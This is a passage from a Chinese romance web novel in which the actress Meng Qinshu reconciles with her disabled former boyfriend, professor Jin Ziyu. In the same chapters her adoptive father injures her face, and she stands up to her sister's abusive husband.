两人的视线像是对上了又像是没对上,他忽然转过去一半身,拄着手杖,寂寥地朝着另个方向走去。
靳……
靳子煜!
心里激动到差点喊出他的名字,但好在她还有一丝理智存在。
“我还有事,你别跟着我!!”
孟秦书给了温朔一个冰冷的制止他在跟过来的眼神警告,抛下这句话,她拔腿去追那个她心心念念的人。
17. 惩罚
孟秦书想追上靳子煜很容易。
她挡在他面前轻轻喘气,心跳如擂鼓,深夜的城市本就很静,但在这一刻,两人仿佛进了另一个维度,周遭寂静的连一点声音也没有。
孟秦书背后是一条单向行驶车道,车道很窄只有五六米,几条白色斑马线通往单行道对面,马路拐角竖着立柱式红绿灯,倒数时会读秒,但传不进她的耳朵里。
抬眼瞧着他,泛红的眼尾暴露了靳子煜现在的心情。
面容清冷,垂下的眼眸深邃幽暗,仿佛千米深没有光线的海底,死气沉沉。
靳子煜生气了。
如霍清辞所料他看到了视频,而且他还看到了刚刚那一幕,可当她想到靳子煜是专程为她而来时,最初那股紧张和怕怯,顷刻转化为蠢蠢欲动的欢喜。
“你误会——”她率先出声打破静寂。
“孟秦书住口!”可却被靳子煜叫停,他的音量不高,表情寡淡到将她视若无物。
孟秦书愣怔住。
靳子煜的心情现在其实已经平复,起伏最大的时候,是在看到孟秦书和那个男人出现在他视野里,男人体贴周到为她打伞,两人并肩过马路时。
他们那么的般配,是网友所说的天作之合。
而他呢,当年他们每次出门,遇到下雨,不是各打一把伞,就是孟秦书为他打伞,这时候往往两个人都会淋湿。
在一起的三年,他们不管是出行还是日常生活中,他残疾的身体会带来很多麻烦,那时候孟秦书从没表现出来对他一丝半点的厌烦。
那时的他想的浅显,不知道正是这些细小的事件,一桩桩累积成孟秦书最后跟他分手的结果。
他想不明白,时隔多年,孟秦书又来招惹他做什么,不是嫌弃他吗?为什么不贯彻到底?为什么又要让他对她生出希望,他差点又要相信了。
更可笑的是,哪怕真相放在他眼前,他仍跑来亲眼见证,最后事实证明,是他在自取其辱。
孟秦书你明明不缺男人,又来招惹他一个残废做什么。
他冷眼凝视孟秦书,逐字逐句道:“孟秦书不要再出现在我面前。”
每个字都冷硬如铁。
十几度的天气,仿佛被一股寒气贯穿全身,是浸入骨髓的冷,让孟秦书全身每块骨头缝都冒出寒意和冻伤所带来的痛。
孟秦书腿疼的快站不住,她双腿晃了下,本能的要伸手去抓点什么,在即将够住靳子煜左臂时,他却是对她避之不及地后退一步。
孟秦书双手按在膝盖上,耸肩低埋下头,仿佛一株被外力压弯的千疮百孔的白玫瑰。
天上月影淡泊,街上偶尔一辆飞驰而过的汽车,没有行人的路上,一盏路灯静悄悄的伫立在他们身侧,黄色的灯光自上而下铺陈在他们身上,他的脸一半在阴,一半在光亮中,她低俯下去的背似月亮挂在树梢上,无风自动。
靳子煜想要掉头走,他酒店还没找好,去哪里都是一样,可是不知怎么的,那条没有残废的左腿却是怎么也抬不起来,连假肢都不听大脑发出的指令。
“靳子煜。”孟秦书深吐一口气,直起上身,再次仰视他的脸,他眼眸依然深沉窥不见底,孟秦书想尝试再和他沟通下,她声音很轻,“热搜上拍到的视频是我接的综艺,等到综艺播出那天你会看到......我没必要对你说谎,刚才.....刚才给我打伞的是跟我一起拍戏的男演员,他比我小五岁,对谁都很热心,不是你想......”说着说着孟秦书鼻腔发酸,酸涩感让她喉头发哽,一度说不下去。
是靳子煜以前对她太好太好了,她被他宠坏了,在他面前受不了一丁点委屈。
忽然间,手腕被猛地握住,而后一股强大的力量将她往前拉,她身体控制不向前倒,猝不及防地一个猛子扎进靳子煜的怀里。
靳子煜因她撞进来的重力,身体摇了一下,靠右手死摁住手杖才得以稳住没往后倒。
引擎的轰鸣声自孟秦书背后的单向车道“咻”的过去,余光瞥见一辆摩托车一个大转弯拐到进对向的公路上。
是靳子煜救了她。
孟秦书眼睛放在他喉结处,整具身体与他无缝贴合,他不适的滚了滚喉头,许是对劫后余生的后怕,又或许对靳子煜的感激,孟秦书两个眼角各淌下一颗泪,顺着脸颊淌下去。
眼泪在下颌挂了两三秒才滴落,一颗落到靳子煜身上这件灰色西装的领子上,晕开,留下一团深灰色印记,一颗直直落在地上。
垂下眸,靳子煜看见孟秦书蓄满泪的双眼,她的眼睛黑白分明,跟琉璃似得清清明明,不笑时如高山上的雪莲,不可触及,弯起眼角时,潋滟生姿令人迷醉。
靳子煜惊悚自己的想法,沉静的眸不再沉静,他慌忙松开握住孟秦书手腕的手,可是她在自己怀里的那一瞬,她的眼泪、气息、体温,犹如燎原的火点着了他。
捏紧拳头,咬住牙根,靳子煜克制住身体里翻滚而起的愤怒和躁动。
孟秦书
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眨了眨眼,把泪意咽回肚子里,被靳子煜松手的那一刹,她的心里一空,自见面他的眼眸总是黑漆漆、冰冰凉凉,即使刚才两人不留缝隙的贴到一块,也依然,所以他会松手,也算是孟秦书意料之中的事。
但他救了她,说最狠的话,明明还是会关心她。
孟秦书抬高下巴抬到到能平视靳子煜的程度,弯起唇瓣,神情柔软道:“子煜,谢谢。”
靳子煜落下眼帘。
忽而,腰上一紧,孟秦书被往前一送,这次她轻轻撞入靳子煜胸膛,腰上是他的手,他宽厚的手掌漾出丝丝缕缕热度。
长而浓密的睫毛在他下眼睑处投下扇形阴影,灼灼发亮的眼仁里似隐匿了什么,她还没来得及研究,眼前一下就暗了。
温凉绵软的唇压在她的两片唇上,覆上柔软的触感,好闻的薄荷味在她鼻尖萦绕,其中还糅杂了淡淡的烟草味,薄荷味是洗衣液的味道?
烟味。
靳子煜什么时候开始抽烟的?
不,这都不是重点。
靳子煜吻了她。
孟秦书脑袋轰一声,有些许发昏,但腰上紧箍的力道,还有他舌尖撬开她唇瓣时的电流感,让她快速清醒过来。
靳子煜身体微微晃动一下,孟秦书回抱住他劲瘦的腰身,而他顺势抽出在她腰上的手,双手捧起她的脸,继而孟秦书听到“咣”的一声,是他手杖撞击地面发出的响声。
她的动作像给他开了“通关证”,他强势地撬开她的齿,探入进去,在她唇舌间肆意掠夺,辗转剧烈。
这是七年后的靳子煜,霸道、占有欲极强的深吻。
不像多年前的他与她在一起,每个吻,都如春风细雨,小心翼翼,生怕弄疼她一点。
像宣泄又像……惩罚。
万籁寂静的夜,人迹罕见的街道,飞驰而过的汽车,吻得难分难舍的两个人。
一滴温热的泪烫在她颈窝,靳子煜贴近她耳廓,对她说,“孟秦书,我不是你的玩物。”
嗓音磁沉而低哑,带着浓浓的疏离和冷漠。
脑子一下炸开,孟秦书本能地后仰脖子,难以置信地看着这个刚刚还在跟她浓情蜜意,此刻,笼着寒气的一张脸。
靳子煜在她面前慢慢曲下右腿,左腿跟着往下蹲,蹲到快接近地面的时候,他捡起地上的手杖,又慢慢撑站起来,他倏然背过身,掷下刚才那句,“孟秦书不要再出现在我面前。”
然后,头也不回地走了。
18. 灾星
“靳子煜你谈过恋爱吗?”
“没有”
“谈恋爱不是说一定会走到最后。”
“谈恋爱合得来合,合不来就分,很正常。”
“靳子煜,那我们谈个恋爱吧。”
“好。”
操场上孟秦书和靳子煜的一问一答,开启了他们后面分分合合的三年。
衣柜里至今仍存放着靳子煜第一次送给她的那条连衣裙,这是一条米白色、小方领,半截袖长裙。
裙子收腰的地方有条黑色的腰带系在腰间,打上一个蝴蝶结,落落大方中多了一两分俏皮气。
靳子煜眼光很好。
裙子是两人确认恋爱关系之后,第一次去外面吃饭,靳子煜送她的,只是她收了礼物后在餐桌上和他提了分手。
“靳子煜,我觉得我们不是很适合。”
他只温柔的答一个字,“好”
孟秦书不是个爱占人便宜的人,她喜欢这条裙子,实在喜欢,便向靳子煜提出,把这条裙子卖给她。
靳子煜当时也是觉得匪夷所思,总是带笑的脸上骤然冷淡下来,但最终他还是点头同意他这个提议。
不巧的是孟秦书那天刚好手机没带,只能回宿舍给他转账,哪曾想回去给靳子煜转裙子的钱,他却把她拉黑了。
拉黑……
向来只有自己拒绝别人的孟秦书自尊心受到一百点伤害。
这是他们的第一次分手,从操场上确认恋爱到和平分手一共七天。
*
回国后孟秦书联系了孟媛,两人一块去了海城精神病院。
孟坤不犯病时和正常人没什么区别,医生领着穿着病号服的孟坤到会客室。
会客室,一间四面白墙,中间只有一张黑色桌子和两把椅子。
孟秦书和孟媛一块进来时,隔着一张桌面,孟坤的两只眼睛死扣在孟秦书脸上,七年多没见了,久的他都快认不出这个戴着墨镜,烈焰红唇,光艳照人的女人,是他从福利院带回来的可怜小姑娘。
“爸爸。”
孟媛叫了他一声爸爸,而孟秦书照旧面无表情,在他这个父亲面前连墨镜都不知道摘下,半点教养都没有,他看,孟秦书不像是来看他的,反倒像是来炫耀的。
一身锦衣华服,看来现在日子过得不错。
呵,一定是霍清辞那个死小子,离婚娶了她。
要不然呢,难道会和那个瘸条腿的穷小子在一起,当初还为了这个人,在他们面前闹死闹活,他这个养女,别人不知道她什么样,他还能不知道。
自私自利、无情无义,当年要不是自己把她带出福利院,她这辈子都只是这个社会的底层,更说不定早就连命都没有了。
是他给她读书长见识,是他给她锦衣玉食的生活,是他让他接触到了上等人,这个白眼狼非但不知道感恩,还害的他如今一无所有。
就是个灾星!
孟坤咬牙切齿,脸颊持续性的抽搐,看上去是要把她生吞活剥,孟秦书喉咙里发出冷哼,在里面待了六年多,这脾性倒是没磨灭半分,有的人就是到死也不会认识到自己错,看来她真的是来错了。
正是孟秦书的这声哼,刺激、激怒了孟坤,他拿起手边的这只木质靠背椅,朝着孟秦书身上扔过去。
“啊!”
孟媛双手掩嘴厉声尖叫和椅子砸落地面上的响声重叠到一起。
分秒之间根本没时间去反应,靠背椅砸在孟秦书左脸上,摔落后,孟秦书墨镜跟着一块掉下来。
孟媛距离孟秦书最近,她似乎看到了孟秦书颧骨上有一道五六公分长的口子,那里鲜红的血液像打开的水龙头汩汩直流。
短短几秒钟的功夫流下来的血已浸染了孟秦书身上这件白色羊绒大衣的前胸布料,异常可怖。
可能是孟坤的这番操作把孟秦书吓得愣住了,也可能是痛觉神经麻痹让孟秦书没感觉到痛,她维持着一动不动的姿势。
直到,孟秦书抬手触摸到黏腻的血液时,她才狠狠晃了一下身体,而这时候病院的护工听到尖叫闯进来,护工架走了同样呆立在原地的孟坤。
孟秦书被这家医院派的救护车送往市医院,立即进行缝合手术,手术前,躺在手术床上的孟秦书问医生。
“会留疤吗?”
孟秦书脸上的伤经过初步处理已止住血,皮开肉绽的伤口,泛着淡红色,最深处仍有血迹。
医生刚才已告知她基本情况,伤口位置在右颧骨正中,长度五公分,深度一点五公分,深可见骨。
医生说:“我们这里只能给你做伤口缝合,会给你用可吸收的美容线,但这个伤口来看,后期要做美容整形。”
美容整形。
孟秦书没想到自己有一天还需要做整容,但能怎么办,她靠脸吃饭的,没了这张脸就什么都没了。
急诊室里孟秦书做手术的一个小时,孟媛一直守在外面,她肘弯处挂着孟秦书染了血的大衣,但她把没有染血的一面放在了外面,看起来就不会那么骇人。
孟坤扔出的那把椅子本身已经松动,砸到孟秦书脸上后断裂的横截面割开了她的脸,这是精神病医院医生给她分析的。
孟媛知道父亲恨孟秦书,所以这些年一次都没在他面前提过孟秦书,这次孟秦书发语音说过去看看孟坤时她是犹豫的。
孟秦书她现在连爸爸都不叫直接叫孟坤,想来必定会刺激到父亲,可她又抱着这么多年不见的两人,再见说不定勾起近二十年的养育情,两人说不定能冰释前嫌,可到底还是出了事。
一个疾走上来拿着话筒的男人几乎要把话筒戳到孟媛的嘴唇。
“请问南寒是受伤了吗?”
孟媛看到他的胸牌是某某小报的记者,在他身后还有一名摄像师。
“我不知道你们说得是谁。”
孟媛躲开记者,往左走,这位男记者马上追上她,“里面的是南寒对不对?”
他今天尾随南寒一路,一路跟到海城神病院门口,他还以为南寒有精神疾病,可是他在医院门诊大厅里找了一路没找到她。
但凡是能被他拍到一张南寒咨询医生的照片,他就能写一两百字的稿子,虽说
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很多家媒体不敢得罪扬正集团,但总有不怕死的敢买他们手里的东西,更可况从来没有只手遮天的事,扬正集团那位本事再大也堵不住悠悠众口。
在他以为今天又要落空而归时,被他看到满脸是血南寒躺在病床上被抬上救护车,他当时拍了几张照片,但都不是正脸不够全面,需要来了解清楚再补拍几张。
而且看她伤的不清,又是在脸上说不定毁容了。
这可是独家新闻,往网上一发一定能爆,泼天的富贵要来了。
孟媛背转身不答,男记者退后几步,看那扇闭合的手术室门,总要出来的,到时候不就能拍到。
脸部手术是局部麻醉,缝合伤口时孟秦书有感觉到像蚊子叮咬那种疼,手术完成之后医生给她伤口上敷了医用纱布,并告知她一个月后来复查。
孟秦书穿上了运动鞋,手按着脸往外走,这里不是精神病院,这里有很多病人,还有很多来看病的人,总有人会认出她,孟秦书走到一半退回去。
她问床边这位正在整理手术工具,做善后工作的女护士,“护士可以让我在里面再呆半个小时吗?”
女护士头也未抬,“不行的,等会儿还有其他病人进来,你快出去吧。”
孟秦书摸进口袋拿手机,摸空后,才想起她的外套在孟媛手里。
她还在外面吗?
会不会已经走了?
手术室的门打开,孟秦书自里面踏步出来,可刚到门口就被孟媛抓住她的手腕,往另一个方向拽,拽的同时向她喊,“小书,有记者!”
孟秦书被孟媛带出去好几步,扭脸向斜后方瞥去,发现一名男记者和他的摄像师正从等候椅上站起来,她看到那位记者举起手里的小相机,正对她,她心一惊,赶忙歪下头,挡住脸跟着孟媛一块跑。
奔跑途中脸上的伤口被拉扯到,麻醉完全褪去后,火辣辣犹如刀片划割的痛,让孟秦书一路抽吸了好几口凉气。
孟秦书坐进孟媛的奥迪车里,她的车还停在精神病院。
两人都是气喘吁吁,孟媛缓过来后转头问她,“南寒,去哪里?”
孟秦书系上安全带,她拿来孟媛腿上她的衣服,拿出里面的手机,看一眼孟媛,说:“去汇悦台。”
她要给芳姐打电话说明情况。
现在脸成这样,后面好多活动都只能取消,马上要上映的《大梦想》,五次见面会只能靠温朔和几位配角出场,芳姐知道这种事怕是要疯。
关键是她这张脸恢复不知道需要多久,万一留下疤痕,哪怕是浅浅的,对一个女演员来说,她的演艺事业都到头了。
真是—
情场、事业双失意,报应吧。
车辆开上城市高架,孟秦书收回看外面风景的眼睛,落在手机屏幕上,以往一秒就能识别到她脸部自动解锁的手机,这次因为她脸上有纱布而识别不出来。
唇角自嘲似的勾一下,孟秦书输入手机密码,找到芳姐的电话拨了过去。
如她所料,芳姐听到她的脸出问题了,不是担心她而是大声质问她,“南寒怎么回事!”
19. 欺负
为了不影响后期电视剧、节目的上映效果,芳姐动用业内关系,找到那家找小媒体买断了这条消息。
孟秦书暂时在家休息,芳姐今早来看过她,给她脸上的伤口拍了照片,并拿走了她的病历。
芳姐有帮她的事咨询过韩国那边的整形修复专家,那边的医生说是必须等到炎症消退才能展开后续治疗。
芳姐专门来拿她的诊断和照片是提前给这位医生做判断能不能治疗,修复到什么程度。
下午孟秦书蜷在沙发角落里裹着毛毯,关灯、拉窗帘看电影,在她困意来袭之际,手机在茶几上震了震,她直起腰往前倾,拿起桌上的手机,信息栏里跳出孟媛给她发的一条文字信息。
孟媛【南寒,我在你家楼下,给你炖了鸡汤,我给你放前台,但他们让我报出你是几栋几零几才可以。】
看着这条信息,孟秦书有一瞬怔仲恍惚,孟媛从前一身大小姐脾气,没少把气撒在她身上,如果不是她天生不逆来顺受的性子,怕不得被她欺负死。
大学那四年,只要一回到家,她逮着她就冷言冷语嘲讽,两人之间大有一种不是你死就是我活的阵势。
现在不但会关心人,还会熬煮鸡汤,简直判若两人,难道说,一个人经历多了真的会改变心性吗?
孟秦书把这句话往自己身上套,她觉得自己没变,不知道在别人眼中她变了吗?
孟秦书打出一行字发过去。
MQS【八栋,八零八,你上楼来我有些事问你。】
在孟媛上来前,孟秦书开了客厅灯,餐厅灯以及厨房灯,她拿起水壶装了一壶纯净水,插上电站在台面前等水开。
等水开空档,她从厨房这间窗户望出去,外面落日还没完全下去,天色暗中发黄,对面的那栋楼每家每户屋内都亮起了灯。
脸颊隐隐作痛,而她又开始想靳子煜了。
靳子煜让她再也不要出现在他面前,现在的他心狠程度真不亚于当年的她,孟秦书食指和中指指腹按了按两片唇,他变了很多,换以前他绝不敢对她做这样的事。
眼前浮现出那个晚上,孟秦书不由自主地轻笑一声,靳子煜你让我不要出现在你面前,我偏要。
孟秦书打算过了这三天,伤口不那么疼了,再去找靳子煜,不知道当他看到自己这副样子会不会心疼她。
他们交往的第二年,有一次她跳舞时脚踝扭坏了,那段时间她在他家躺了一礼拜,他每天晚上回来给她上药按摩,眼里是对她满满的爱护。
门铃和水烧开的声音同时响了,孟秦书先关了水壶,再去外面打开房门。
“南……南寒。”
孟媛提着不锈钢保温桶在门口显得有些拘谨,孟秦书说了声,“进来吧,拖鞋在地上。”便自顾自地往回走。
孟媛进门反手拉上房门,脱掉身上的长款羽绒服,挂在小臂上,俯身拿掉脚上的平底皮鞋,换上拖鞋,在经过玄内置收纳衣架时,她把手里这件羽绒服挂在上面。
孟媛不是没见过世面的,最早时父亲孟坤还是霍齐业秘书那些年,家里条件就挺好的,再到后来父亲开公司发了家,大院子,大别墅,三层别墅内部,巨大的水晶灯自顶上吊下来,家里装修的和皇宫一样。
所以这种简约风的大平层在她眼里就显得有些平平无奇。
孟媛把保温桶放到茶几上,随后坐到沙发上,厨房里走出来的孟秦书手上端了冒着热气的白开水,放到她面前。
“家里只有白开水。”孟秦书坐到孟媛对面那张沙发。
“我只喝白开水。”孟媛微微笑说。
孟秦书穿一套淡粉色真丝套装,领口是V字的,露出细长雪白的天鹅颈,屋里暖气开的足,孟媛里面是件毛衣才坐的一会儿后背已有汗涔涔的黏湿感。
“一直忘了问你,你有孩子吗?”孟秦书交叠起双腿,左脚鞋尖朝上,脚跟和拖鞋底部悬空。
孟媛脸上出现困窘之色,“跟第一任有一个男孩,离婚后因为是男孩他们不让给我。”
孟秦书眼神闪烁一下,“抱歉。”
“没没事。”孟媛拿起玻璃杯喝了一口,可是里面是开水,所幸她喝的不多只是烫麻了舌头。
孟秦书看在眼里,她真没想到一个人变化可以这么大,换作当年孟媛早就摔杯子,大骂不会做事的人。
单单只是是家里破产的缘故?
孟秦书探究的眼光被孟媛看看眼里,孟秦书眼里并不是嘲笑或是对现今的她表现出痛快的意思,不知是不是眼花她竟还看出孟秦书对她有一丝怜悯。
“小……南寒,其实我来是为爸爸像你道歉。”孟媛弱弱地说,观察到孟秦书没有不快地表情时她接着说,“爸爸六年前受到打击后,一年时间天天在家里自言自语,是妈妈逼着他离婚后他才开始出现了伤人行为,送去医院诊断出是精神异常,一旦发病就控制不了自己,我昨晚回去看他,他说很懊悔自己今天的行为。”
孟媛跟她说起另件事,“清辞哥他其实一直有在照顾我家,五年前他得知我们的境况,这些年爸爸的各种费用都是他在负责。”
这事孟秦书一点都不知道,但她知道霍清辞是可能这么做的。
孟秦书放下腿,让孟媛等等,她走进房间,在床头柜的抽屉里拿出两个相同厚度的红包,每个红包里她都放了两万,这两个红包她包好有些天了,昨天就想拿给孟媛。
不管怎么说,她曾经也是孟家人,孟媛结婚她还是得出份礼,她既然有孩子,那第二个可以一起给她。
水已不烫口,孟媛小小抿了一口,放下杯子,她一抬眼看到了孟秦书,自然也看到了她手里拿的两个很厚的红包。
孟媛耳根微微发热,她预感这是给她的,可又不敢相信孟秦书会这么做,孟秦书对孟家包括她应该是恨透了的。
孟秦书坐下来后身体前倾,将手里这两个红包递给她,“孟媛,你的婚礼我没参加,这一份是我的红包,第二份是给你家小孩的。”
孟媛双手摁在沙发边缘,手足无措道,“不不……不用。””孟秦书没有往回收保持着递出这个姿势,两人僵持着,那凉凉的眼神里大有‘你不拿就出去的’的意思,孟媛抬起双手,两只手掌朝上,细弱地表达谢意,“谢谢。”
红包放入孟媛手中,她双手合住,放在大腿上,孟秦书转而去看那只不锈钢保温瓶,抿了下唇,也跟孟媛说了声谢谢。
孟媛一诧不知道孟秦书的谢从何来,一抬眼,再顺着孟秦书的视线看过去,发现孟秦书看得她拿来的保温桶,她忙道:“不不用谢。”
在之后孟媛又坐了大概十分钟,感觉时间差不多该回去了,她提出先回去了,孟秦书没留她,替她开了门。
可就在孟媛后脚跨出门刚落地,回头想和孟秦书说声再见时,那扇门已关上。
孟秦书本就是个不多言语的人,接近于孤僻的地步,那些年如果不是她老是去惹她,她只会安安静静的做自己的事,孟媛垂眼看手里的红包,顿觉沉甸甸得。
*
靳子煜再次见到孟秦书是惊愕的。
孟秦书这次照旧戴假发,黑框平光眼镜,但没有涂黑粉,而是医用纱布敷住半张脸。
距离他们上次见面已过去一周,他以为他的话起到了作用,以孟秦书的性格是绝对不可能再来找他的。
他都把话说到这份上了,她怎么还能再来?
埋头在本子上画图的孟秦书,敏锐地察觉到靳子煜正在看她,她抬头正大光明地接住他的目光,唇向上扬,而他恍似被无形的电流电到,黑眼珠慌乱地划去别的地方。
左边唇角磨到纱布孟秦书才想起为了不被人认出自己,她特意剪了一块跟脸一样大的纱布盖住自己这张脸。
下课后,孟秦书发现靳子煜又要一走了之,她拿了本子站起来,但考虑到还有不少学生,她等人散了些,才追出去,反正靳子煜走不快,她追的上他。
孟秦书在楼梯上追到靳子煜,他下楼梯比平地更慢,左脚先放到下一级台阶,踩稳再放下手杖,最后右腿放下去,循环往复,走到拐角平台时,靳子煜没再往下走,而是转身仰视比他高出三级台阶抱着笔记本的孟秦书。
“孟秦书,你到底想怎么样?”靳子煜语气里有对她的无语还有对她一次次上门招惹他,难以应对的疲乏。
孟秦书往下走,走到他身前,手指微顿,她下意识地攥紧笔记本,缓声说:“我明天要去韩国了,可能半个月,可能一个月,也可能半年,等我回来,你若是找到未来的另一半我就不会再来找你。”
孟秦书本来是想说自己脸受伤的事,想看靳子煜会不会关心自己,可想想还是算了,即使知道他未必在意,但她还是讲不出口。
靳子煜静静地看着她,像是在研判她这句话里的真假成分,但禁闭的双唇像关紧的两扇门,密不透风,终究什么都没说,接着走他没走完的楼梯。
孟秦书这次走在靳子煜前面,脚步轻快地往下跑,拐了一个弯,便看不到了,靳子
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煜只听到她的脚步声渐行渐远。
海城大学外来车辆不让开进来,孟秦书只能沿着校园主干路步行去校门口,海城大学比当年他们读的T大,只大不小,得亏靳子煜上课的那栋楼接近正大门。
可在孟秦书经过一栋蓝色大楼的背面时,她看到不远不近的地方有一男一女在一棵桐树底下推搡,因为有小树丛遮掩着,从她这个位置看进去是比较隐蔽的。
她能一眼看到是因为她认识那女的——是三天前在她家的孟媛。
男人要比孟媛高出一个头,一头到脖子下的卷曲黑发,穿了件暗棕色夹克衫,四肢精瘦。
孟秦书记起听孟媛说起过,她的第二任丈夫是一位美术老师,看男的这打扮和气质是有点艺术家气质。
所以是两夫妻之间的小争执,孟秦书没打算管,可回头那霎,余光中孟媛被那男的扇了一巴掌。
眉心一跳,孟秦书回望过去,眼神刚落到实处,却见反击没成功的孟媛被那男的一脚踹在肚子上,孟媛一声“惨嚎”,后背撞到桐树的树干,滑下去一屁股坐在地上。
光天化日,还是在大学校园里,简直无法无天,孟秦书平生最看不惯的事就是男人打女人,她怒气腾腾地疾跑过去,必须去制止这种事。
而在不远处一辆刚拐到这条道上的宝蓝色保时捷,慢慢停在路边沿。
树上震下几片黄叶,受到第二脚的孟媛抱着肚子双眼紧闭,痛哼着,脸色苍白得一点血色也没有。
在徐朗准备踢第三脚时,后背猛地受了一脚,他吃痛往一侧让,随之便看到一个脸上贴着纱布的,个子很高的短发女人,手里还拿了一本笔记本。
短发女人怒瞪着他,像是以为这样他就会害怕。
孟媛感觉到有人来了,艰难地睁开眼,眼眶里布满痛出来的泪,让她看不大清,但隐隐约约认出来人好像是孟秦书。
“你知不知道我们是什么关系,我是她老公,你少多管闲事。”徐朗声音高亢道。
孟秦书听在耳朵里,他还挺自豪,她声音不比他轻,“你打孟媛就关我的事。”
徐朗没想到他们还认识,“同事?”
“那不快滚,一个教书育人的老师,尽做猪狗不如的事,是想你的“风光事迹”传遍海城大学?”
孟秦书轻飘飘地冷嘲完这个男人,从他身前经过,走向树下的孟媛。
孟媛连连摇头,肋下疼痛难忍,深提一口气,喉咙里才发出一点嘶哑地声音,“小书,不要.....管我,他是神经病。”
也不知道孟秦书是没听见还是不惧怕,继续走向她。
徐朗转身盯着这个女人的后背,看到她弯上半身,向地上的孟媛伸手,他的目光顿生凶狠,至今还没人敢威胁他,他抬腿正准备往前走,要给这个女人点教训,却突然被一只手从后扣住肩头。
“徐老师。”
温煦淡然的声音传进徐朗耳朵,这个声音他听到过,上次也是他破坏了他的事。
孟秦书听见靳子煜的声音扭头,看到他正摁着那个男人,她挺直背转过身,知道他是来帮她的,眉眼含着笑走向靳子煜。
然而,她和靳子煜都想得简单了,认为对方是老师,再过分也不可能有多恶劣。
没想到这个男人会在靳子煜手底下转身,并冲他举起拳头,孟秦书笑容泯灭在脸上,赶在男人拳头挥下来前,用整具身体之力去撞击他的侧身,成功把他撞开。
她手里的笔记本因此掉到了地上,但她毫不在意,她只意靳子煜是否安好,再确认他只是略晃了一下身体,就稳住后,孟秦书放心了。
始料未及的是在孟秦书往回走时,会被这个男人攥住胳膊,然后她被他强行拽到他面前,他扬起手正对她的左脸一巴掌扇下来。
“啪!!”
瞬时,疼痛从脸部蔓延至全身,孟秦书只感觉哪里好像裂开了。
爬起来的孟媛上来一把拽住徐朗的另一条胳膊,徐朗急于甩开她,抬脚就要踢她,哪会预测到,在他分心之际,脸上会生生连挨上两棍子。
徐朗口腔内壁出血,血从嘴里溢出来,他头晕眼花,一个不稳双膝砸地跪在地上。
与此同时,五六个保安冲进来,几人左看看右看看,已经不知道哪个是受害人。
孟秦书回看靳子煜,刚好看到他放下手杖,原来温润如玉的靳教授也会动手打人,他缓抬眸看她,她对他满眼崇拜,而他本该冷沉的目光却是愈来愈惊惧,就好像把她错看成鬼一样。
20. 决裂
遮脸的纱布被鲜血染透,攒不住的血液顺着孟秦书秀美的脖颈蜿蜒而下,淌进颈窝,她身上这件圆领咖色毛衣被染成形容不出的颜色。
一颗、两颗的血珠自下颌掉落,仍有几颗顽强的挂在上面,但呈摇摇欲坠之势。
靳子煜一直以为脸上敷一块纱布是今天孟秦书的扮相,一巴掌更不会直接导致这种鲜血流不止的情况,所以孟秦书是带伤来的?
震惊的不只是靳子煜,还有在场的一干人等,也包括刚从地上站起来的徐朗。
徐朗没想到自己一巴掌威力如此之大会把这个女人打到鲜血直流,但他转而想起这个女人来时脸上就是贴着纱布的,所以他打的这一巴掌只是间接,但如果追责,他也有责任,此刻,徐朗开始后怕。
靳子煜柔和的轮廓线猝然紧绷,几步上前,贸然伸出手是要去揭孟秦书脸上的纱布,却被孟秦书抢先一步抬手压住自己的脸。
迟来的疼痛席卷全身,仿佛锈钝的锯子一推一拉,周而复始,不致命但能让人痛的死去活来。
孟秦书掌心置空,五根手指都在用力,为防止血从指缝、掌缝间隙里流出来,她别开脸,声音很轻,“一点点小伤,没事。”
来前孟秦书是想在靳子煜面前揭露自己受伤的事,想得到他的关心自己,可后来想想自己脸上的缝合伤和蜈蚣脚似得,看着有些许恐怖。
不是怕吓到靳子煜而是自己大小还是个明星,这张脸是自己唯一拿得出手的东西,不能自己拆自己台。
现在更是不能了,她的平光镜在被打的那一瞬间,弹飞了,马上就会有人认出她,芳姐千叮万嘱不能随便出门,万一这副尊容被人拍到传到网上,对她出演的剧目造成负面影响,导致作品产生损失,作为主要演员她是会被追责的。
孟媛走上来,她自己身体都还没完全恢复,强撑着说,“小书,我送你去医院。”
孟秦书嗯了声,她视线偏低,刚好看到靳子煜慢慢垂下的左手,五指微蜷起,她现在必须立刻、马上走,晚上再发信息向他解释。
孟秦书怕人认出来,再低点头,转过身走之前,觉得还是有必要和靳子煜说一声,“靳子煜我先走了。”
可忽然间,头上有人轻柔地给她盖了件重物,下一瞬,她的手腕被人牵住。
暖意把她整个包裹。
隔着大衣、毛衣,打底衫,一层又一层,好似还能感觉到那人掌心的踏实和温度。
在场的几人看到的是,这个拄着手杖的男人,脱掉了自己的黑色皮衣,轻手轻脚地把它盖在那个脸部受伤的短发女人身上。
不但如此,男人还牵住了这个女人的手。
在海城大学只有一个腿脚不好,身体残疾的老师,大家只要见过这位老师的必然过目不忘。
他就是靳教授。
靳子煜声线平平道:“不用看路,跟我走。”
孟秦书看不到靳子煜的脸,只看到侧面微微摆动的衣摆,靳子煜知道她怕被人看见所以把自己的外套,脱下来盖在她头上。
她听话的把下巴压得更低,眼睛只盯地面,被他牵着手腕,任由他把她带去任何一个地方。
这是种很陌生却令人心悸的感觉,从前靳子煜因为要架腋拐,两人出去从没牵过手,牵手是他的执念,他曾说过将来他研制一款假肢,以后他们可以手拉手一起上街。
而今他做到了。
看着孟秦书被靳子煜牵着走远,孟媛没跟上去,她终于想明白为什么上次会校门口会遇到孟秦书,今天为什么她又再次出现在这里,原来她和靳子煜.....他们是仍在一起还是又在一起了?
当年父母是极力反对他们的。
他们第一次见靳子煜是在霍清辞的婚宴上,孟秦书带着靳子煜跟他们同坐一桌,这个少了一条腿的男人在他们这一大片正常人中间,可以说是另类的存在。
当时惹来了无数奇奇怪怪的眼光,这可把爸妈给气坏了,前者一个脸色青白,后者一个憋红了脸,爸妈是很要面子的人,而且今天是霍家办事,再大的气都不能当场发作。
她当时还挺高兴的,因为一向自恃甚高的孟秦书找了这么样一个男人,有点幸灾乐祸。
然,整桌上只有孟秦书像是个没事人一样,时不时跟靳子煜耳语两句,时不时给他夹菜,反观她身旁的靳子煜一直腼腼腆腆,连正眼都不敢看她们的爸妈,因为显而易见他们是极其不满意他的。
婚宴到后半段,再也坐不住的父亲,把他们两人叫去休息室,她抱着进去看好戏的心态,一起跟进去。
休息室里有两张单人沙发,父母各自坐一张,她斜坐在母亲沙发的扶手上。
孟秦书和她男朋友站着。
母亲面带笑,轻声轻气地问孟秦书,“小书,这是朋友?”
孟秦书大明大方地向他们介绍,“妈妈,这是我男朋友靳子煜,我带来给你们认识一下,我和他谈了两年。”
